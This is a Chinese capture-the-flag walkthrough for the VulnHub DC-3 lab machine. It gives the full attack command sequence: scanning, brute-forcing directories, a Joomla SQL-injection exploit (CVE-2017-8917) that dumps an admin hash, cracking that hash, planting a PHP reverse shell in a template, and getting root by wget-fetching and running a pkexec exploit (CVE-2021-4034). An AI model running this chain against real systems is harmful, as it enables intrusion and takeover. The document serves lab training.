一、介绍
运行环境：Virtualbox
攻击机：kali（10.0.2.15）
靶机：DC3（10.0.2.56）
目标：获取靶机root权限和flag
靶机下载地址：https://www.vulnhub.com/entry/dc-32,312/
二、信息收集
使用nmap主机发现靶机ip：10.0.2.56
使用nmap端口扫描发现靶机开放端口：80
打开网站发现是一个登录界面，查看源码未发现隐藏信息
使用gobuster和dirsearch工具进行目录爆破
gobuster dir -u http://10.0.2.56/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtdirsearch -u http://10.0.2.56
目录爆破发现/administrator/目录，访问发现该网站为joomla! cms搭建的
使用droopescan工具扫描网站探测joomla!的版本信息，发现为3.7.0-3.8.0左右
droopescan scan -u http://10.0.2.56
三、漏洞利用
使用searchsploit搜索joomla!的历史漏洞，主要查看joomla!版本为3.7-3.8的exp
searchsploit joomla!
发现一个sql注入exp，但该exp为php版本的，尝试运行了一下有点问题
我又在网上找了一个python版本的exp：CVE-2017-8917，运行获得管理员的账号和密码
python CVE-2017-8917.py http://10.0.2.56
admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
将密码复制到passwd.txt，使用john工具进行暴力破解得到：snoopy
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
使用管理员账号密码登录网站
点击Extension->Templates->Templates
随便点击一项，我们这里点击Beez3
点击左边的文件，我们可以修改php代码
直接将php文件里面的代码跟换为反弹shell的php代码
然后点击Template Preview访问修改后的php文件进行反弹shell
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
运行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件，发现/usr/lib/policykit-1/polkit-agent-helper-1文件，该版本的polkit存在提权漏洞CVE-2021-4034
靶机存在gcc环境
在攻击机开启apache2服务，靶机使用wget命令将exp下载下来
攻击机：service apache2 start
靶机：wget http://10.0.2.15/CVE-2021-4034.c
将exp编译执行，提权成功
gcc CVE-2021-4034.c -o CVE-2021-4034
./CVE-2021-4034
获取flag
